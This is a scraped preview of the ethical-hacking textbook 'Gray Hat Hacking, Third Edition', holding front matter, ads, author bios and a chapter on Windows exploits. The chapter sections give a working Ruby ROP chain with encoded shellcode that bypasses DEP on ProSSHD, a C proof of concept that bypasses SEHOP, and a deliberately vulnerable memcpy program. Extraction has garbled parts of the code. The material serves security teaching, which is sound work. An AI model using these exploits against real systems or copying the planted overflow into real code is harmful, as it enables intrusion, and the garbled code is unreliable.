Ebook Gray hat hacking (3rd edition) Part 2

368 332 0
Ebook Gray hat hacking (3rd edition) Part 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

(BQ) Part 1 book Gray hat hacking has contents Ethics of ethical hacking, ethical hacking and the legal system, proper and ethical disclosure, social engineering attacks, physical penetration attacks, insider attacks, using the backtrack linux distribution, managing a penetration test,... and other contents.

Gray Hat Hacking, Third Edition Reviews “Bigger, better, and more thorough, the Gray Hat Hacking series is one that I’ve enjoyed from the start Always right on time information, always written by experts The Third Edition is a must-have update for new and continuing security experts.” —Jared D DeMott Principle Security Researcher, Crucial Security, Inc “This book is a great reference for penetration testers and researchers who want to step up and broaden their skills in a wide range of IT security disciplines.” —Peter Van Eeckhoutte (corelanc0d3r) Founder, Corelan Team “I am often asked by people how to get started in the InfoSec world, and I point people to this book In fact, if someone is an expert in one arena and needs a leg up in another, I still point them to this book This is one book that should be in every security professional’s library—the coverage is that good.” —Simple Nomad Hacker “The Third Edition of Gray Hat Hacking builds upon a well-established foundation to bring even deeper insight into the tools and techniques in an ethical hacker’s arsenal From software exploitation to SCADA attacks, this book covers it all Gray Hat Hacking is without doubt the definitive guide to the art of computer security published in this decade.” —Alexander Sotirov Security Rockstar and Founder of the Pwnie Awards “Gray Hat Hacking is an excellent ‘Hack-by-example’ book It should be read by anyone who wants to master security topics, from physical intrusions to Windows memory protections.” —Dr Martin Vuagnoux Cryptographer/Computer security expert “Gray Hat Hacking is a must-read if you’re serious about INFOSEC It provides a muchneeded map of the hacker’s digital landscape If you’re curious about hacking or are pursuing a career in INFOSEC, this is the place to start.” —Johnny Long Professional Hacker, Founder of Hackers for Charity.org This page intentionally left blank Gray Hat Hacking The Ethical Hacker’s Handbook Third Edition Allen Harper, Shon Harris, Jonathan Ness, Chris Eagle, Gideon Lenkey, and Terron Williams New York • Chicago • San Francisco • Lisbon London • Madrid • Mexico City • Milan • New Delhi San Juan • Seoul • Singapore • Sydney • Toronto Copyright © 2011 by The McGraw-Hill Companies All rights reserved Except as permitted under the United States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher ISBN: 978-0-07-174256-6 MHID: 0-07-174256-5 The material in this eBook also appears in the print version of this title: ISBN: 978-0-07-174255-9, MHID: 0-07-174255-7 All trademarks are trademarks of their respective owners Rather than put a trademark symbol after every occurrence of a trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of infringement of the trademark Where such designations appear in this book, they have been printed with initial caps McGraw-Hill eBooks are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate training programs To contact a representative please e-mail us at bulksales@mcgraw-hill.com Information has been obtained by McGraw-Hill from sources believed to be reliable However, because of the possibility of human or mechanical error by our sources, McGraw-Hill, or others, McGraw-Hill does not guarantee the accuracy, adequacy, or completeness of any information and is not responsible for any errors or omissions or the results obtained from the use of such information TERMS OF USE This is a copyrighted work and The McGraw-Hill Companies, Inc (“McGrawHill”) and its licensors reserve all rights in and to the work Use of this work is subject to these terms Except as permitted under the Copyright Act of 1976 and the right to store and retrieve one copy of the work, you may not decompile, disassemble, reverse engineer, reproduce, modify, create derivative works based upon, transmit, distribute, disseminate, sell, publish or sublicense the work or any part of it without McGraw-Hill’s prior consent You may use the work for your own noncommercial and personal use; any other use of the work is strictly prohibited Your right to use the work may be terminated if you fail to comply with these terms THE WORK IS PROVIDED “AS IS.” McGRAW-HILL AND ITS LICENSORS MAKE NO GUARANTEES OR WARRANTIES AS TO THE ACCURACY, ADEQUACY OR COMPLETENESS OF OR RESULTS TO BE OBTAINED FROM USING THE WORK, INCLUDING ANY INFORMATION THAT CAN BE ACCESSED THROUGH THE WORK VIA HYPERLINK OR OTHERWISE, AND EXPRESSLY DISCLAIM ANY WARRANTY, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE McGraw-Hill and its licensors not warrant or guarantee that the functions contained in the work will meet your requirements or that its operation will be uninterrupted or error free Neither McGraw-Hill nor its licensors shall be liable to you or anyone else for any inaccuracy, error or omission, regardless of cause, in the work or for any damages resulting therefrom McGraw-Hill has no responsibility for the content of any information accessed through the work Under no circumstances shall McGraw-Hill and/or its licensors be liable for any indirect, incidental, special, punitive, consequential or similar damages that result from the use of or inability to use the work, even if any of them has been advised of the possibility of such damages This limitation of liability shall apply to any claim or cause whatsoever whether such claim or cause arises in contract, tort or otherwise n^netsec Swimming with the Sharks? Get Peace of Mind Are your information assets secure? Are you sure? N2NetSecurity's Information Security and Compliance Services give you the peace of mind of knowing that you have the best of the best in information Security on your side Our deep technical knowledge ensures that our solutions are innovative and efficient and our extensive experience will help you avoid common and costly mistakes N2NetSecurity provides information security services to government and private industry We are a certified Payment Card Industry Qualified Security Assessor (PCI QSA) Our talented team includes Black Hat Instructors, received a 2010 Department of Defense CIO Award, and has coauthored seven leading IT books including Gray Hat Hacking: The Ethical Hacker's Handbook and Security Information Event Management Implementation Contact us for a Free Gap Assessment and see how we can help you get peace of mind Get Back to Normal, Back to Business! N2NetSecurity, Inc www.n2netsec.com info@n2netsec.com 800.456.0058 Stop Hackers in Their Tracks Hacking Exposed, 6th Edition Hacking Exposed Malware & Rootkits Hacking Exposed Computer Forensics, 2nd Edition 24 Deadly Sins of Software Security Hacking Exposed Wireless, 2nd Edition Hacking Exposed: Web Applications, 3rd Edition Hacking Exposed Windows, 3rd Edition Hacking Exposed Linux, 3rd Edition Hacking Exposed Web 2.0 IT Auditing, 2nd Edition IT Security Metrics Gray Hat Hacking, 3rd Edition Available in print and ebook formats Follow us on Twitter @MHComputing Boost Your Security Skills (and Salary) with Expert Tn ming for CISSP Certification The Shon Harris ClSSP'-Solution is the perfect self-study training package not only for the CISSP*0 candidate or those renewing certification, but for any security pro who wants to increase their security knowledge and earning potential Take advantage of this comprehensive multimedia package that lets you learn at your own pace and in your own home or office This definitive set includes: ^ In class instruction at your home DVD set of computer-based training, over 34 hours of instruction on the Common Body of Knowledge, the 10 domains required for certification CISSP55 All-in-One 5th Edition, the 1193 page best- " selling book by Shon Harris 2,200+ page CISSP® Student Workbook developed by Shon Harris Complex concepts fully explained Everything you need to pass the CISSP1 exam ^Multiple hours of Shon Harris' lectures explaining the concepts in the CISSP® Student Workbook in MP3 format ^Bonus MP3 files with extensive review sessions for each domain j Over 1,600 CISSP^ review questions to test your knowledge 300+ Question final practice exam more! Learn from the best! Leading independent authority and recognized CISSP'' training guru, Shon Harris, CISSPW, MCSE, delivers this definitive certification program packaged together and available for the first time Order today! Complete info at http://logicalsecurity.com/cissp CISSP K a registered certification mark of the International Information Systems Settirily Certification Cunscrtiurn, Jnc., aTso known as (ISC)! No f ridersemant by, affiliation or association with (ISC)? ie impFiad To my brothers and sisters in Christ, keep running the race Let your light shine for Him, that others may be drawn to Him through you —Allen Harper To my loving and supporting husband, David Harris, who has continual patience with me as I take on all of these crazy projects! —Shon Harris To Jessica, the most amazing and beautiful person I know —Jonathan Ness For my train-loving son Aaron, you bring us constant joy! —Chris Eagle To Vincent Freeman, although I did not know you long, life has blessed us with a few minutes to talk and laugh together —Terron Williams ABOUT THE AUTHORS Allen Harper, CISSP, PCI QSA, is the president and owner of N2NetSecurity, Inc in North Carolina He retired from the Marine Corps after 20 years and a tour in Iraq Additionally, he has served as a security analyst for the U.S Department of the Treasury, Internal Revenue Service, and Computer Security Incident Response Center (IRS CSIRC) He regularly speaks and teaches at conferences such as Black Hat and Techno Shon Harris, CISSP, is the president of Logical Security, an author, educator, and security consultant She is a former engineer of the U.S Air Force Information Warfare unit and has published several books and articles on different disciplines within information security Shon was also recognized as one of the top 25 women in information security by Information Security Magazine Jonathan Ness, CHFI, is a lead software security engineer in Microsoft’s Security Response Center (MSRC) He and his coworkers ensure that Microsoft’s security updates comprehensively address reported vulnerabilities He also leads the technical response of Microsoft’s incident response process that is engaged to address publicly disclosed vulnerabilities and exploits targeting Microsoft software He serves one weekend each month as a security engineer in a reserve military unit Chris Eagle is a senior lecturer in the Computer Science Department at the Naval Postgraduate School (NPS) in Monterey, California A computer engineer/scientist for 25 years, his research interests include computer network attack and defense, computer forensics, and reverse/anti-reverse engineering He can often be found teaching at Black Hat or spending late nights working on capture the flag at Defcon Gideon Lenkey, CISSP, is the president and co-founder of Ra Security Systems, Inc., a New Jersey–based managed services company, where he specializes in testing the information security posture of enterprise IT infrastructures He has provided advanced training to the FBI and served as the president of the FBI’s InfraGard program in New Jersey He has been recognized on multiple occasions by FBI director Robert Muller for his contributions and is frequently consulted by both foreign and domestic government agencies Gideon is a regular contributor to the Internet Evolution website and a participant in the EastWest Institute’s Cybersecurity initiative Terron Williams, NSA IAM-IEM, CEH, CSSLP, works for Elster Electricity as a Senior Test Engineer, with a primary focus on smart grid security He formerly worked at Nortel as a Security Test Engineer and VoIP System Integration Engineer Terron has served on the editorial board for Hakin9 IT Security Magazine and has authored articles for it His interests are in VoIP, exploit research, SCADA security, and emerging smart grid technologies Disclaimer: The views expressed in this book are those of the authors and not of the U.S government or the Microsoft Corporation Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 326 VirtualProtect If a process needs to execute code in the stack or heap, it may use the VirtualAlloc or VirtualProtect function to allocate memory and mark the existing pages as executable The API for VirtualProtect follows: BOOL WINAPI VirtualProtect( in LPVOID lpAddress, in SIZE_T dwSize, in DWORD flNewProtect, out PDWORD lpflOldProtect ); So, we will need to put the following on the stack and call VirtualProtect(): • lpAddress Base address of region of pages to be marked executable • dwSize Size, in bytes, to mark executable; need to allow for expansion of shellcode However, the entire memory page will be marked, so “1” may be used • flNewProtect New protection option: 0x00000040 is PAGE_EXECUTE_ READWRITE • lpflOldProtect Pointer to variable to store the old protection option code Using the following command, we can determine the address of pointers to VirtualProtect() inside MSVCR71.dll: !pvefindaddr ropcall MSVCR71.dll This command will provide the output in a file called ropcall.txt, which can be found in the following folder: C:\Users\\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger The end of that file shows the address at 0x7c3528dd Return-Oriented Programming So, what can we if we can’t execute code on the stack? Execute it elsewhere? But where? In the existing linked modules, there are many small segments of code that are followed by a RETN instruction that offer some interesting opportunities If you call such a small section of code and it returns to the stack, then you may call the next small section of code, and so on This is called return-oriented programming (ROP) and was pioneered by Hovav Shacham and later used by Dino Dia Zovi (see the “References” section) Gadgets The small sections of code mentioned in the previous section are what we call gadgets We use the word “code” here because it does not need to be a proper assembly instruction; you may jump into the middle of a proper assembly instruction, as long as it performs the task you are looking to perform and returns execution to the stack afterward Since the next address on the stack is another ROP gadget, the return statement has the effect of calling that next instruction This method of programming is similar to Chapter 15: Windows Exploits 327 Ret-to-LibC, as discussed in Chapter 12, but is different because we will rarely call proper existing functions; we will use parts of their instructions instead Exploit Sandwich with Gadgets as the Meat Using the following pvefindaddr command, we can find a list of recommended gadgets for a given module: !pvefindaddr rop –m msvcr71.dll –n This command and arguments will create three files: • A “progress” file so you can see what the routine is doing (think of it as a status update file) If you open this file in notepad++, then you can simply reload it to see updates • The actual rop file (will have the module name and version if you use the –m module filter) • A file called rop_stackpivot.txt, which will only contain stack pivot instructions More info about the function and its parameters can be found in the pvefindaddr usage page (see “References” for the pvefindaddr wiki) The command will take a while to run and will produce the output files in the following folder: C:\Users\\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger The contents of the very verbose rop file will look like this: ================================================================================ Output generated by pvefindaddr v1.32 corelanc0d3r - PART III As can be seen, if there is a POP or other instruction that will modify the stack, then those bytes will need to be added as filler so that that next ROP instruction can be called during the next RETN instruction The location of the beginning of the chain needs to be stored in eip and executed If the beginning of the chain is already at the top of the stack, then simply overwriting saved eip with a pointer to RETN will Otherwise, a call may be required to pivot onto the stack Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 328 http://www.corelan.be:8800 ================================================================================ Loaded modules Fixup | Base | Top | Size | SafeSEH | ASLR | NXCompat | Modulename & Path NO | 0x7C340000 | 0x7C396000 | 0x00056000 | yes | NO | NO | MSVCR71.dll : C:\Users\Public\Program Files\Lab-NC\ProSSHD\MSVCR71.dll NO | 0x10000000 | 0x100CE000 | 0x000CE000 | yes | NO | NO | LIBEAY32.dll : C:\Users\Public\Program Files\Lab-NC\ProSSHD\LIBEAY32.dll NO | 0x00400000 | 0x00457000 | 0x00057000 | yes | NO | NO | wsshd.exe : C:\Users\Public\Program Files\Lab-NC\ProSSHD\wsshd.exe yes | 0x76050000 | 0x76056000 | 0x00006000 | NO | yes | yes | NSI.dll : C:\Windows\system32\NSI.dll …truncated… [+] Module filter set to ‘msvcr71.dll’ -ROP gadgets - Relatively safe/basic instructions -0x7C3410B9 : {POP} # MOV AL,BYTE PTR DS:[C38B7C37] # POP EDI # POP ESI # POP EBP # POP EBX # POP ECX # POP ECX # RETN [Module : MSVCR71.dll] 0x7C3410C2 : {POP} # POP ECX # POP ECX # RETN [Module : MSVCR71.dll] …truncated… and so on…pages and pages of gadgets From this output, you may chain together gadgets to perform the task at hand, building the arguments for VirtualProtect and calling it It is not quite as simple as it sounds; you have to work with what you have available You may have to get creative The following code by Alexey Sintsov does just that: # Based on original Exploit by S2 Crew [Hungary] # Special Thanks to Alexey Sintsov (dsecrg) for his example, advice, assistance %w{rubygems net/ssh net/scp}.each { |x| require x } username = 'test1' password = 'test1' host = '10.10.10.143' port = 22 # msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x0a\x20' -e x86/shikata_ga_nai -t ruby # [*] x86/shikata_ga_nai succeeded with size 228 (iteration=1) shell = "\x33\xc9\xb1\x33\xbd\xe3\x34\x37\xfb\xdb\xc6\xd9\x74\x24" + "\xf4\x5f\x31\x6f\x0f\x83\xef\xfc\x03\x6f\xe8\xd6\xc2\x07" + "\x06\x9f\x2d\xf8\xd6\xc0\xa4\x1d\xe7\xd2\xd3\x56\x55\xe3" + "\x90\x3b\x55\x88\xf5\xaf\xee\xfc\xd1\xc0\x47\x4a\x04\xee" + "\x58\x7a\x88\xbc\x9a\x1c\x74\xbf\xce\xfe\x45\x70\x03\xfe" + "\x82\x6d\xeb\x52\x5a\xf9\x59\x43\xef\xbf\x61\x62\x3f\xb4" + "\xd9\x1c\x3a\x0b\xad\x96\x45\x5c\x1d\xac\x0e\x44\x16\xea" + "\xae\x75\xfb\xe8\x93\x3c\x70\xda\x60\xbf\x50\x12\x88\xf1" + "\x9c\xf9\xb7\x3d\x11\x03\xff\xfa\xc9\x76\x0b\xf9\x74\x81" + "\xc8\x83\xa2\x04\xcd\x24\x21\xbe\x35\xd4\xe6\x59\xbd\xda" + "\x43\x2d\x99\xfe\x52\xe2\x91\xfb\xdf\x05\x76\x8a\x9b\x21" + Chapter 15: Windows Exploits 329 "\x52\xd6\x78\x4b\xc3\xb2\x2f\x74\x13\x1a\x90\xd0\x5f\x89" "\xc5\x63\x02\xc4\x18\xe1\x38\xa1\x1a\xf9\x42\x82\x72\xc8" "\xc9\x4d\x05\xd5\x1b\x2a\xf9\x9f\x06\x1b\x91\x79\xd3\x19" "\xfc\x79\x09\x5d\xf8\xf9\xb8\x1e\xff\xe2\xc8\x1b\x44\xa5" "\x21\x56\xd5\x40\x46\xc5\xd6\x40\x25\x88\x44\x08\x84\x2f" "\xec\xab\xd8\xa5" get_request = "\x41" * 492 + + + + + + # buffer before RET addr rewriting ########## ROP designed by Alexey Sintsov (dsecrg) ######################### # All ROP instructions from non ASLR modules (coming with ProSHHD distrib): # MSVCR71.DLL and MFC71.DLL # For DEP bypass used VirtualProtect call from non ASLR DLL - 0x7C3528DD # (MSVCR71.DLL) this make stack executable "\xC1\x4C\x34\x7C" + # POP EAX / RETN # ^^^ "\x33\x33\x33\x33" + # ^^^ "\x33\x33\x33\x33" + # ^^^ "\x33\x33\x33\x33" + # ^^^ "\x33\x33\x33\x33" + # ^^^ # ^^^ "\xC0\xFF\xFF\xFF" + # ^^^ Param for next instruction "\x05\x1e\x35\x7C" + # NEG EAX / RETN ; EAX will be 0x40 (3rd param) # COMMENT B in following line "\xc8\x03\x35\x7C" + # MOV DS:[ECX], EAX / RETN ; save 0x40 (3rd param) "\x40\xa0\x35\x7C" + # MOV EAX, ECX / RETN ; restore pointer in EAX "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # "\xA1\x1D\x34\x7C" + # #COMMENT C in following "\x08\x94\x16\x7C" + # DEC EAX / RETN ; Change position DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN DEC EAX / RETN ; EAX=ECX-0x0c line MOV DS:[EAX+0x4], EAX / RETN ; save &shellcode (1st param) "\xB9\x1F\x34\x7C" + # "\xB9\x1F\x34\x7C" + # "\xB9\x1F\x34\x7C" + # "\xB9\x1F\x34\x7C" + # #COMMENT D in following "\xB2\x01\x15\x7C" + # INC EAX / RETN INC EAX / RETN INC EAX / RETN INC EAX / RETN line MOV [EAX+0x4], ; oh and move pointer back ; EAX=ECX-0x8 ; size of shellcode (2nd param) PART III #### RET (SAVED EIP) overwrite ### "\x9F\x07\x37\x7C" + # MOV EAX,EDI/POP EDI/POP ESI/RETN ; EAX points to our stack data with some offset (COMMENT A) "\x11\x11\x11\x11" + # JUNK ^^^ ^^^ "\x23\x23\x23\x23" + # JUNK ^^^ "\x27\x34\x34\x7C" + # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10 "\x33\x33\x33\x33" + # JUNK ^^^ Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 330 "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" "\xA1\x1D\x34\x7C" + + + + + + + + + + + + # # # # # # # # # # # # DEC DEC DEC DEC DEC DEC DEC DEC DEC DEC DEC DEC EAX EAX EAX EAX EAX EAX EAX EAX EAX EAX EAX EAX / / / / / / / / / / / / RETN RETN RETN RETN RETN RETN RETN RETN RETN RETN RETN RETN ; Change position for oldProtect "\x27\x34\x34\x7C" + "\x33\x33\x33\x33" + # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10 # JUNK ^^^ "\x40\xa0\x35\x7C" + # MOV EAX, ECX / RETN # # # # # "\x33\x33\x33\x33" "\x33\x33\x33\x33" "\x33\x33\x33\x33" "\x33\x33\x33\x33" + + + + ; restore pointer in EAX "\xB9\x1F\x34\x7C" + # INC EAX / RETN ; and again "\xB9\x1F\x34\x7C" + # INC EAX / RETN "\xB9\x1F\x34\x7C" + # INC EAX / RETN "\xB9\x1F\x34\x7C" + # INC EAX / RETN # COMMENT E in following line "\xE5\x6B\x36\x7C" + # MOV DS:[EAX+0x14], ECX ; save oldProtect (4th param) "\xBA\x1F\x34\x7C" * 204 + # RETN fill just like NOP sled (ROP style) # COMMENT F in following line "\xDD\x28\x35\x7C" + # CALL VirtualProtect / LEA ESP, [EBP-58] / POP EDI / POP ESI / POP EBX / RETN ; Call VirtualProtect "AAAABBBBCCCCDDDD" + # Here is placeholder for params (VirtualProtect) ####################### "\x30\x5C\x34\x7C" + # > PUSH ESP / RETN "\x90" * 14 + # shell # return into stack after VirtualProtect 0x7c345c2e:ANDPS XMM0, XMM3 (+0x2 to address and ) NOPs here is the beginning of shellcode shellcode 8) # lets it Net::SSH.start( host, username, :password => password) do|ssh| # sleep(15) # gives us time to attach to wsshd.exe ssh.scp.download!( get_request, "foo.txt") # params: remote file, local file end Although following this program may appear to be difficult, when you realize that it is just a series of calls to areas of linked modules that contain valuable instructions followed by a RETN that simply calls the next gadget of instructions, then you see the method to the madness There are some gadgets to load the register values (preparing for the call to VirtualProtect) There are other gadgets to increment or decrement register values (again, adjusting them for the call to VirtualProtect) There are some gadgets that consume bytes on the stack with POPs, for example; in those cases, space is provided on the stack Chapter 15: Windows Exploits 331 Bypassing SEHOP As previously mentioned, the team from Sysdream.com developed a clever way to bypass SEHOP by reconstructing a proper SEH chain that terminates with the actual system default exception handler (ntdll!FinalExceptionHandler) It should be noted at the outset that this type of attack only works under limited conditions when all of the following conditions are met: • Local system access (local exploits) • memcpy types of vulnerabilities where NULL bytes are allowed • When the third byte of the memory address of the controlled area of the stack is between 0x80 and 0xFB • When a module/DLL can be found that is not SafeSEH protected and contains the following sequence of instructions (this will be explained in a moment): • XOR [register, register] • POP [register] • POP [register] • RETN PART III In this case, the attacker noticed that just after overwriting saved RETN on the stack, the ESI register points to some location further down the stack (see Comment A in the preceding code) Using this location, the third argument is stored for the VirtualProtect function (see Comment B) Next, the first, second, and fourth arguments are written to the stack (see Comments C, D, E, respectively) Notice that the size of the memory segment to mark as executable is “1” (see Comment D); this is because the entire memory page of that address will be marked with the VirtualProtect function When all the arguments are stored, then the VirtualProtect function is called to enable execution of that memory page (see Comment F) Throughout the process, EAX and ECX are used to point to the location of the four parameters As you can see, setting up the stack properly can be compared to assembling a picture puzzle: when you move one piece, you may move other pieces, which in turn may move other pieces You will have to think ahead Notice the order in which the arguments to VirtualProtect are built: 3, 1, 2, This is not normal programming because we are “not in Kansas” any more Welcome to the world of ROP! Alexey used ROP to build the arguments to VirtualProtect on-the-fly and load them in the placeholder memory slots on the stack, just after the call to VirtualProtect (where arguments belong) After the arguments placeholder goes the address of the next function to be called, in this case one more ROP statement, to return onto the stack and execute our shellcode If we launch this new code against our DEP (/NXCOMPAT) protected program, wsshd.exe, we find that it actually works! We are able to pop a calculator (in this case) on a DEP-protected process Great! Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 332 As the Sysdream team explained, the last requirement is not as hard as it sounds— this is often the case at the end of functions that need to return a zero or NULL value; in that case, EAX is xor’ed and the function returns NOTE You can use !pvefindaddr xp or xp1 or xp2 to find SEHOP bypass pointers (xor,pop,pop,ret) in a given module As shown in Figure 15-5, a fake SEH chain will be placed on the stack, and the last record will be the actual location of the system default exception handler The key difference between this technique and the traditional SafeSEH technique is the use of the JE (74), conditional jump if equal to zero, operated instead of the traditional JMP short (EB) instruction The JE instruction (74) takes one operand, a single byte, used as a signed integer offset Therefore, if you wanted to jump backward 10 bytes, you would use a 74 F7 opcode Now, since we have a short assembly instruction that may also be a valid memory address on the stack, we can make this attack happen As shown in Figure 15-5, we will overwrite the “Next SEH” pointer with a valid pointer to memory we control and where we will place the fake SEH record, containing an actual address to the system default exception handler Next, we will overwrite the “SEH han- Figure 15-5 Sysdream.com technique to bypass SEHOP (used with permission) Chapter 15: Windows Exploits 333 dler” pointer with an address to the XOR, POP, POP, RETN sequence in a module/DLL that is not SafeSEH protected This will have the desired effect of setting the zero bit in the special register and will make our JE (74) instruction execute and jump backward into our NOP sled At this point, we will ride the sled into the next instruction (EB 08), which will jump forward, over the two pointer addresses, and continue in the next NOP sled Finally, we will jump over the last SEH record and into the real shellcode To summarize, our attack sandwich in this case looks like this: • NOP sled • EB 08 (may need to use EB 0A to jump over both addresses) • Next SEH: address we control on stack ending with [negative byte] 74 • NOP sled • EB 08 (may need to use EB 0A to jump over both addresses) • At address given above: 0xFFFFFFFF • Actual system default exception handler • Shellcode To demonstrate this exploit, we will use the following vulnerable program (with SafeSEH protection) and associated DLL (no SafeSEH protection): NOTE Although a canned program, it is indicative of programs found in the wild This program will be used to bypass /GS, SafeSEH, and SEHOP protections // foo1.cpp : Defines the entry point for the console application #include "stdafx.h" #include "stdio.h" #include "windows.h" extern "C" declspec(dllimport)void test(); void GetInput(char* str, char* out) { long lSize; char buffer[500]; char * temp; FILE * hFile; size_t result; try { hFile = fopen(str, "rb"); //open file for reading of bytes if (hFile==NULL) {printf("No such file"); exit(1);} //error checking //get size of file fseek(hFile, 0, SEEK_END); lSize = ftell(hFile); rewind (hFile); temp = (char*) malloc (sizeof(char)*lSize); result = fread(temp,1,lSize,hFile); memcpy(buffer, temp, result); //vulnerability PART III • SEH handler: address to an XOR, POP, POP, RETN sequence in a non-SafeSEH module Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 334 memcpy(out,buffer,strlen(buffer)); //triggers SEH before /GS printf("Input received : %s\n",buffer); } catch (char * strErr) { printf("No valid input received ! \n"); printf("Exception : %s\n",strErr); } test(); //calls DLL, demonstration of XOR, POP, POP, RETN sequence } int main(int argc, char* argv[]) { char foo[2048]; char buf2[500]; GetInput(argv[1],buf2); return 0; } Next, we will show the associated DLL of the foo1.c program: // foo1DLL.cpp : Defines the exported functions for the DLL application //This DLL simply demonstrates XOR, POP, POP, RETN sequence //may be found in the wild with functions that return a Zero or NULL value #include "stdafx.h" extern "C" int declspec(dllexport) test(){ asm { xor eax, eax pop esi pop eb retn } } This program and DLL may be created in Visual Studio 2010 Express (free version) The main foo1.c program was compiled with /GS and /SafeSEH protection (which adds SEHOP), but no DEP (/NXCOMPAT) or ASLR (/DYNAMICBASE) protection The DLL was compiled with only /GS protection NOTE The foo1 and foo1dll files may be compiled from the command line by removing the reference to stdafx.h and using the following command-line options: cl /LD /GS foo1DLL.cpp /link /SafeSEH:no /DYNAMICBASE:no /NXCompat:no cl /GS /EHsc foo1.cpp foo1DLL.lib /link /SafeSEH /DYNAMICBASE:no /NXCompat:no After compiling the programs, let’s look at them in OllyDbg and verify the DLL does not have /SafeSEH protection and that the program does We will use the OllySSEH plug-in, shown next, which you can find on the Downloads page at OpenRCE.org Chapter 15: Windows Exploits 335 Next, let’s search for the XOR, POP, POP, RETN sequence in our binary PART III NOTE There are good plug-ins for OllyDbg and Immunity Debugger that this search for you If interested, go to Corelan.be reference and search for the pvefindaddr plug-in Now, using the address we discovered, let’s craft the exploit sandwich in a program, which we will call sploit.c This program creates the attack buffer and writes it to a file, so it can be fed to the vulnerable program This code is based on the Sysdream.com team code but was heavily modified, as mentioned in the credit comment of code #include #include #include /* Credit: Heavily modified code from: Stéfan LE BERRE (s.leberre@sysdream.com) Damien CAUQUIL (d.cauquil@sysdream.com) http://ghostsinthestack.org/ http://virtualabs.fr/ http://sysdream.com/ */ // finding this next address takes trial and error in ollydbg or other debugger char nseh[] = "\x74\xF4\x12\x00"; //pointer to 0xFFFFFFFF, then Final EH char seh[] = "\x7E\x13\x01\x10"; //pointer to xor, pop, pop, ret /* Shellcode size: 227 bytes */ char shellcode[] = "\xb8\x29\x15\xd8\xf7\x29\xc9\xb1\x33\xdd" "\xc2\xd9\x74\x24\xf4\x5b\x31\x43\x0e\x03" "\x43\x0e\x83\xea\x11\x3a\x02\x10\xf1\x33" "\xed\xe8\x02\x24\x67\x0d\x33\x76\x13\x46" "\x66\x46\x57\x0a\x8b\x2d\x35\xbe\x18\x43" "\x92\xb1\xa9\xee\xc4\xfc\x2a\xdf\xc8\x52" "\xe8\x41\xb5\xa8\x3d\xa2\x84\x63\x30\xa3" Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition 336 "\xc1\x99\xbb\xf1\x9a\xd6\x6e\xe6\xaf\xaa" "\xb2\x07\x60\xa1\x8b\x7f\x05\x75\x7f\xca" "\x04\xa5\xd0\x41\x4e\x5d\x5a\x0d\x6f\x5c" "\x8f\x4d\x53\x17\xa4\xa6\x27\xa6\x6c\xf7" "\xc8\x99\x50\x54\xf7\x16\x5d\xa4\x3f\x90" "\xbe\xd3\x4b\xe3\x43\xe4\x8f\x9e\x9f\x61" "\x12\x38\x6b\xd1\xf6\xb9\xb8\x84\x7d\xb5" "\x75\xc2\xda\xd9\x88\x07\x51\xe5\x01\xa6" "\xb6\x6c\x51\x8d\x12\x35\x01\xac\x03\x93" "\xe4\xd1\x54\x7b\x58\x74\x1e\x69\x8d\x0e" "\x7d\xe7\x50\x82\xfb\x4e\x52\x9c\x03\xe0" "\x3b\xad\x88\x6f\x3b\x32\x5b\xd4\xa3\xd0" "\x4e\x20\x4c\x4d\x1b\x89\x11\x6e\xf1\xcd" "\x2f\xed\xf0\xad\xcb\xed\x70\xa8\x90\xa9" "\x69\xc0\x89\x5f\x8e\x77\xa9\x75\xed\x16" "\x39\x15\xdc\xbd\xb9\xbc\x20"; DWORD findFinalEH(){ return ((DWORD)(GetModuleHandle("ntdll.dll"))&0xFFFF0000)+0xBA875;//calc FinalEH } int main(int argc, char *argv[]){ FILE *hFile; UCHAR ucBuffer[4096]; DWORD dwFEH = 0; //file handle for writing to file //buffer used to build attack //pointer to Final Exception Handler // Little banner printf("SEHOP Bypass PoC\n"); // Calculate FEH dwFEH = (DWORD)findFinalEH(); if (dwFEH){ // FEH found printf("[1/3] Found final exception handler: 0x%08x\n",dwFEH); printf("[2/3] Building attack buffer "); memset(ucBuffer,'\x41',0x208); // 524 - = 520 = 0x208 of nop filler memcpy(&ucBuffer[0x208],"\xEB\x0D\x90\x90",0x04); memcpy(&ucBuffer[0x20C],(void *)&nseh,0x04); memcpy(&ucBuffer[0x210],(void *)&seh,0x04); memset(&ucBuffer[0x214],'\x42',0x28); //nop filler memcpy(&ucBuffer[0x23C],"\xEB\x0A\xFF\xFF\xFF\xFF\xFF\xFF",0x8); //jump 10 memcpy(&ucBuffer[0x244],(void *)&dwFEH,0x4); 